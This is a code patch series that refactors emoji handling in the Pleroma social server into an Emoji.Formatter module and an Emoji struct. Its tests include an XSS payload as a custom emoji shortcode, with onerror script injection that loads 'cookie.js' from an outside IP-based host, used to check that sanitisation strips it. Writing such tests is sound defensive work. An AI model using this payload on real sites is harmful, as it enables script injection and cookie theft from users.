- emojify(text, Emoji.get_all(), true) - end - - def demojify(text, nil), do: text - - @doc "Outputs a list of the emoji-shortcodes in a text" - def get_emoji(text) when is_binary(text) do - Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} -> - String.contains?(text, ":#{emoji}:") - end) - end - - def get_emoji(_), do: [] - - @doc "Outputs a list of the emoji-Maps in a text" - def get_emoji_map(text) when is_binary(text) do - get_emoji(text) - |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc -> - Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}") - end) - end - - def get_emoji_map(_), do: [] - def html_escape({text, mentions, hashtags}, type) do {html_escape(text, type), mentions, hashtags} end diff --git a/lib/pleroma/web/common_api/common_api.ex b/lib/pleroma/web/common_api/common_api.ex index 5faddc9f4..9ee704022 100644 --- a/lib/pleroma/web/common_api/common_api.ex +++ b/lib/pleroma/web/common_api/common_api.ex @@ -6,7 +6,7 @@ defmodule Pleroma.Web.CommonAPI do alias Pleroma.Activity alias Pleroma.ActivityExpiration alias Pleroma.Conversation.Participation - alias Pleroma.Formatter + alias Pleroma.Emoji alias Pleroma.Object alias Pleroma.ThreadMute alias Pleroma.User @@ -261,12 +261,7 @@ def post(user, %{"status" => status} = data) do sensitive, poll ), - object <- - Map.put( - object, - "emoji", - Map.merge(Formatter.get_emoji_map(full_payload), poll_emoji) - ) do + object <- put_emoji(object, full_payload, poll_emoji) do preview? = Pleroma.Web.ControllerHelper.truthy_param?(data["preview"]) || false direct? = visibility == "direct" @@ -300,6 +295,15 @@ def post(user, %{"status" => status} = data) do end end + # parse and put emoji to object data + defp put_emoji(map, text, emojis) do + Map.put( + map, + "emoji", + Map.merge(Emoji.Formatter.get_emoji_map(text), emojis) + ) + end + # Updates the emojis for a user based on their profile def update(user) do user = diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex index 9686e6491..d6907f707 100644 --- a/lib/pleroma/web/common_api/utils.ex +++ b/lib/pleroma/web/common_api/utils.ex @@ -9,6 +9,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do alias Pleroma.Activity alias Pleroma.Config alias Pleroma.Conversation.Participation + alias Pleroma.Emoji alias Pleroma.Formatter alias Pleroma.Object alias Pleroma.Plugs.AuthenticationPlug @@ -184,7 +185,7 @@ def make_poll_data(%{"poll" => %{"options" => options, "expires_in" => expires_i "name" => option, "type" => "Note", "replies" => %{"type" => "Collection", "totalItems" => 0} - }, Map.merge(emoji, Formatter.get_emoji_map(option))} + }, Map.merge(emoji, Emoji.Formatter.get_emoji_map(option))} end) case expires_in do @@ -434,7 +435,7 @@ def confirm_current_password(user, password) do end def emoji_from_profile(%{info: _info} = user) do - (Formatter.get_emoji(user.bio) ++ Formatter.get_emoji(user.name)) + (Emoji.Formatter.get_emoji(user.bio) ++ Emoji.Formatter.get_emoji(user.name)) |> Enum.map(fn {shortcode, url, _, _, _} -> %{ "type" => "Emoji", diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex index 603c6b3c6..4f63b03cf 100644 --- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex @@ -13,8 +13,8 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do alias Pleroma.Bookmark alias Pleroma.Config alias Pleroma.Conversation.Participation + alias Pleroma.Emoji alias Pleroma.Filter - alias Pleroma.Formatter alias Pleroma.HTTP alias Pleroma.Notification alias Pleroma.Object @@ -140,7 +140,7 @@ def update_credentials(%{assigns: %{user: user}} = conn, params) do user_info_emojis = user.info |> Map.get(:emoji, []) - |> Enum.concat(Formatter.get_emoji_map(emojis_text)) + |> Enum.concat(Emoji.Formatter.get_emoji_map(emojis_text)) |> Enum.dedup() info_params = diff --git a/lib/pleroma/web/metadata/utils.ex b/lib/pleroma/web/metadata/utils.ex index 720bd4519..382ecf426 100644 --- a/lib/pleroma/web/metadata/utils.ex +++ b/lib/pleroma/web/metadata/utils.ex @@ -3,6 +3,7 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Web.Metadata.Utils do + alias Pleroma.Emoji alias Pleroma.Formatter alias Pleroma.HTML alias Pleroma.Web.MediaProxy @@ -13,7 +14,7 @@ def scrub_html_and_truncate(%{data: %{"content" => content}} = object) do |> HtmlEntities.decode() |> String.replace(~r//, " ") |> HTML.get_cached_stripped_html_for_activity(object, "metadata") - |> Formatter.demojify() + |> Emoji.Formatter.demojify() |> Formatter.truncate() end @@ -23,7 +24,7 @@ def scrub_html_and_truncate(content, max_length \\ 200) when is_binary(content) |> HtmlEntities.decode() |> String.replace(~r//, " ") |> HTML.strip_tags() - |> Formatter.demojify() + |> Emoji.Formatter.demojify() |> Formatter.truncate(max_length) end diff --git a/lib/pleroma/web/twitter_api/twitter_api_controller.ex b/lib/pleroma/web/twitter_api/twitter_api_controller.ex index 5dfab6a6c..4141bfba5 100644 --- a/lib/pleroma/web/twitter_api/twitter_api_controller.ex +++ b/lib/pleroma/web/twitter_api/twitter_api_controller.ex @@ -9,7 +9,7 @@ defmodule Pleroma.Web.TwitterAPI.Controller do alias Ecto.Changeset alias Pleroma.Activity - alias Pleroma.Formatter + alias Pleroma.Emoji alias Pleroma.Notification alias Pleroma.Object alias Pleroma.Repo @@ -713,7 +713,7 @@ defp parse_profile_bio(user, params) do emojis_text = (params["description"] || "") <> " " <> (params["name"] || "") emojis = - ((user.info.emoji || []) ++ Formatter.get_emoji_map(emojis_text)) + ((user.info.emoji || []) ++ Emoji.Formatter.get_emoji_map(emojis_text)) |> Enum.dedup() user_info = diff --git a/lib/pleroma/web/twitter_api/views/activity_view.ex b/lib/pleroma/web/twitter_api/views/activity_view.ex index abae63877..9192ebd34 100644 --- a/lib/pleroma/web/twitter_api/views/activity_view.ex +++ b/lib/pleroma/web/twitter_api/views/activity_view.ex @@ -5,7 +5,7 @@ defmodule Pleroma.Web.TwitterAPI.ActivityView do use Pleroma.Web, :view alias Pleroma.Activity - alias Pleroma.Formatter + alias Pleroma.Emoji alias Pleroma.HTML alias Pleroma.Object alias Pleroma.Repo @@ -262,7 +262,7 @@ def render( activity, "twitterapi:content" ) - |> Formatter.emojify(object.data["emoji"]) + |> Emoji.Formatter.emojify(object.data["emoji"]) text = if content do @@ -319,7 +319,7 @@ def render( "possibly_sensitive" => possibly_sensitive, "visibility" => Pleroma.Web.ActivityPub.Visibility.get_visibility(object), "summary" => summary, - "summary_html" => summary |> Formatter.emojify(object.data["emoji"]), + "summary_html" => Emoji.Formatter.emojify(summary, object.data["emoji"]), "card" => card, "muted" => thread_muted? || User.mutes?(opts[:for], user) } diff --git a/lib/pleroma/web/twitter_api/views/user_view.ex b/lib/pleroma/web/twitter_api/views/user_view.ex index 8a7d2fc72..3a6550826 100644 --- a/lib/pleroma/web/twitter_api/views/user_view.ex +++ b/lib/pleroma/web/twitter_api/views/user_view.ex @@ -4,7 +4,8 @@ defmodule Pleroma.Web.TwitterAPI.UserView do use Pleroma.Web, :view - alias Pleroma.Formatter + + alias Pleroma.Emoji alias Pleroma.HTML alias Pleroma.User alias Pleroma.Web.CommonAPI.Utils @@ -72,7 +73,7 @@ defp do_render("user.json", %{user: user = %User{}} = assigns) do description_html = (user.bio || "") |> HTML.filter_tags(User.html_filter_policy(for_user)) - |> Formatter.emojify(emoji) + |> Emoji.Formatter.emojify(emoji) fields = user.info @@ -99,7 +100,7 @@ defp do_render("user.json", %{user: user = %User{}} = assigns) do "name" => user.name || user.nickname, "name_html" => if(user.name, - do: HTML.strip_tags(user.name) |> Formatter.emojify(emoji), + do: HTML.strip_tags(user.name) |> Emoji.Formatter.emojify(emoji), else: user.nickname ), "profile_image_url" => image, diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs new file mode 100644 index 000000000..8b510f48b --- /dev/null +++ b/test/emoji/formatter_test.exs @@ -0,0 +1,54 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2018 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.FormatterTest do + alias Pleroma.Emoji.Formatter + use Pleroma.DataCase + + describe "emojify" do + test "it adds cool emoji" do + text = "I love :firefox:" + + expected_result = + "I love \"firefox\"" + + assert Formatter.emojify(text) == expected_result + end + + test "it does not add XSS emoji" do + text = + "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" + + custom_emoji = %{ + "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => + "https://placehold.it/1x1" + } + + expected_result = + "I love \"\"" + + assert Formatter.emojify(text, custom_emoji) == expected_result + end + end + + describe "get_emoji" do + test "it returns the emoji used in the text" do + text = "I love :firefox:" + + assert Formatter.get_emoji(text) == [ + {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"} + ] + end + + test "it returns a nice empty result when no emojis are present" do + text = "I love moominamma" + assert Formatter.get_emoji(text) == [] + end + + test "it doesn't die when text is absent" do + text = nil + assert Formatter.get_emoji(text) == [] + end + end +end diff --git a/test/formatter_test.exs b/test/formatter_test.exs index 7a5bd0f9f..c36681068 100644 --- a/test/formatter_test.exs +++ b/test/formatter_test.exs @@ -255,52 +255,6 @@ test "parses tags in the text" do end end - describe "emojify" do - test "it adds cool emoji" do - text = "I love :firefox:" - - expected_result = - "I love \"firefox\"" - - assert Formatter.emojify(text) == expected_result - end - - test "it does not add XSS emoji" do - text = - "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" - - custom_emoji = %{ - "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => - "https://placehold.it/1x1" - } - - expected_result = - "I love \"\"" - - assert Formatter.emojify(text, custom_emoji) == expected_result - end - end - - describe "get_emoji" do - test "it returns the emoji used in the text" do - text = "I love :firefox:" - - assert Formatter.get_emoji(text) == [ - {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"} - ] - end - - test "it returns a nice empty result when no emojis are present" do - text = "I love moominamma" - assert Formatter.get_emoji(text) == [] - end - - test "it doesn't die when text is absent" do - text = nil - assert Formatter.get_emoji(text) == [] - end - end - test "it escapes HTML in plain text" do text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" From 6ef0103ca0b194971a2e6f61685316536b742a11 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Sat, 31 Aug 2019 10:14:53 +0300 Subject: [PATCH 5/5] added Emoji struct --- lib/pleroma/emoji.ex | 15 ++++++++++++++ lib/pleroma/emoji/formatter.ex | 12 +++++------ lib/pleroma/emoji/loader.ex | 13 +++--------- lib/pleroma/web/common_api/utils.ex | 2 +- .../controllers/mastodon_api_controller.ex | 2 +- .../controllers/util_controller.ex | 6 ++---- test/emoji/formatter_test.exs | 20 ++++++++++++++----- test/emoji_test.exs | 8 ++++---- 8 files changed, 47 insertions(+), 31 deletions(-) diff --git a/lib/pleroma/emoji.ex b/lib/pleroma/emoji.ex index ab6ba7d6a..b246bfbe6 100644 --- a/lib/pleroma/emoji.ex +++ b/lib/pleroma/emoji.ex @@ -21,6 +21,21 @@ defmodule Pleroma.Emoji do {:read_concurrency, true} ] + defstruct [:code, :file, :tags, :safe_code, :safe_file] + + @doc "Build emoji struct" + def build({code, file, tags}) do + %__MODULE__{ + code: code, + file: file, + tags: tags, + safe_code: Pleroma.HTML.strip_tags(code), + safe_file: Pleroma.HTML.strip_tags(file) + } + end + + def build({code, file}), do: build({code, file, []}) + @doc false def start_link(_) do GenServer.start_link(__MODULE__, [], name: __MODULE__) diff --git a/lib/pleroma/emoji/formatter.ex b/lib/pleroma/emoji/formatter.ex index acdef3988..4869d073e 100644 --- a/lib/pleroma/emoji/formatter.ex +++ b/lib/pleroma/emoji/formatter.ex @@ -15,12 +15,12 @@ def emojify(text, nil), do: text def emojify(text, emoji, strip \\ false) do Enum.reduce(emoji, text, fn - {_, _, _, emoji, file}, text -> + {_, %Emoji{safe_code: emoji, safe_file: file}}, text -> String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) - emoji_data, text -> - emoji = HTML.strip_tags(elem(emoji_data, 0)) - file = HTML.strip_tags(elem(emoji_data, 1)) + {unsafe_emoji, unsafe_file}, text -> + emoji = HTML.strip_tags(unsafe_emoji) + file = HTML.strip_tags(unsafe_file) String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) end) |> HTML.filter_tags() @@ -40,7 +40,7 @@ def demojify(text, nil), do: text @doc "Outputs a list of the emoji-shortcodes in a text" def get_emoji(text) when is_binary(text) do - Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} -> + Enum.filter(Emoji.get_all(), fn {emoji, %Emoji{}} -> String.contains?(text, ":#{emoji}:") end) end @@ -50,7 +50,7 @@ def get_emoji(_), do: [] @doc "Outputs a list of the emoji-Maps in a text" def get_emoji_map(text) when is_binary(text) do get_emoji(text) - |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc -> + |> Enum.reduce(%{}, fn {name, %Emoji{file: file}}, acc -> Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}") end) end diff --git a/lib/pleroma/emoji/loader.ex b/lib/pleroma/emoji/loader.ex index 82fc3b8c3..839316713 100644 --- a/lib/pleroma/emoji/loader.ex +++ b/lib/pleroma/emoji/loader.ex @@ -11,13 +11,14 @@ defmodule Pleroma.Emoji.Loader do * glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder """ alias Pleroma.Config + alias Pleroma.Emoji require Logger @type pattern :: Regex.t() | module() | String.t() @type patterns :: pattern() | [pattern()] @type group_patterns :: keyword(patterns()) - @type emoji :: {String.t(), String.t(), list(String.t())} + @type emoji :: {String.t(), Emoji.t()} @doc """ Loads emojis from files/packs. @@ -81,15 +82,7 @@ def load do Enum.map(emojis ++ emojis_txt, &prepare_emoji/1) end - defp prepare_emoji({code, file, tags} = _emoji) do - { - code, - file, - tags, - Pleroma.HTML.strip_tags(code), - Pleroma.HTML.strip_tags(file) - } - end + defp prepare_emoji({code, _, _} = emoji), do: {code, Emoji.build(emoji)} defp load_pack(pack_dir, emoji_groups) do pack_name = Path.basename(pack_dir) diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex index d6907f707..1fb95f4ab 100644 --- a/lib/pleroma/web/common_api/utils.ex +++ b/lib/pleroma/web/common_api/utils.ex @@ -436,7 +436,7 @@ def confirm_current_password(user, password) do def emoji_from_profile(%{info: _info} = user) do (Emoji.Formatter.get_emoji(user.bio) ++ Emoji.Formatter.get_emoji(user.name)) - |> Enum.map(fn {shortcode, url, _, _, _} -> + |> Enum.map(fn {shortcode, %Emoji{file: url}} -> %{ "type" => "Emoji", "icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"}, diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex index 4f63b03cf..a50c060bf 100644 --- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex @@ -331,7 +331,7 @@ def peers(conn, _params) do defp mastodonized_emoji do Pleroma.Emoji.get_all() - |> Enum.map(fn {shortcode, relative_url, tags, _, _} -> + |> Enum.map(fn {shortcode, %Pleroma.Emoji{file: relative_url, tags: tags}} -> url = to_string(URI.merge(Web.base_url(), relative_url)) %{ diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex index 923480242..c14792068 100644 --- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex +++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex @@ -239,11 +239,9 @@ def version(conn, _params) do def emoji(conn, _params) do emoji = - Emoji.get_all() - |> Enum.map(fn {short_code, path, tags, _, _} -> - {short_code, %{image_url: path, tags: tags}} + Enum.reduce(Emoji.get_all(), %{}, fn {code, %Emoji{file: file, tags: tags}}, acc -> + Map.put(acc, code, %{image_url: file, tags: tags}) end) - |> Enum.into(%{}) json(conn, emoji) end diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs index 8b510f48b..6d25fc453 100644 --- a/test/emoji/formatter_test.exs +++ b/test/emoji/formatter_test.exs @@ -3,6 +3,7 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Emoji.FormatterTest do + alias Pleroma.Emoji alias Pleroma.Emoji.Formatter use Pleroma.DataCase @@ -20,15 +21,17 @@ test "it does not add XSS emoji" do text = "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" - custom_emoji = %{ - "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => + custom_emoji = + { + "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)", "https://placehold.it/1x1" - } + } + |> Pleroma.Emoji.build() expected_result = "I love \"\"" - assert Formatter.emojify(text, custom_emoji) == expected_result + assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result end end @@ -37,7 +40,14 @@ test "it returns the emoji used in the text" do text = "I love :firefox:" assert Formatter.get_emoji(text) == [ - {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"} + {"firefox", + %Emoji{ + code: "firefox", + file: "/emoji/Firefox.gif", + tags: ["Gif", "Fun"], + safe_code: "firefox", + safe_file: "/emoji/Firefox.gif" + }} ] end diff --git a/test/emoji_test.exs b/test/emoji_test.exs index 82f9c52ff..1fdbd0fdf 100644 --- a/test/emoji_test.exs +++ b/test/emoji_test.exs @@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do test "first emoji", %{emoji_list: emoji_list} do [emoji | _others] = emoji_list - {code, path, tags, _, _} = emoji + {code, %Emoji{file: path, tags: tags}} = emoji - assert tuple_size(emoji) == 5 + assert tuple_size(emoji) == 2 assert is_binary(code) assert is_binary(path) assert is_list(tags) @@ -24,9 +24,9 @@ test "first emoji", %{emoji_list: emoji_list} do test "random emoji", %{emoji_list: emoji_list} do emoji = Enum.random(emoji_list) - {code, path, tags, _, _} = emoji + {code, %Emoji{file: path, tags: tags}} = emoji - assert tuple_size(emoji) == 5 + assert tuple_size(emoji) == 2 assert is_binary(code) assert is_binary(path) assert is_list(tags)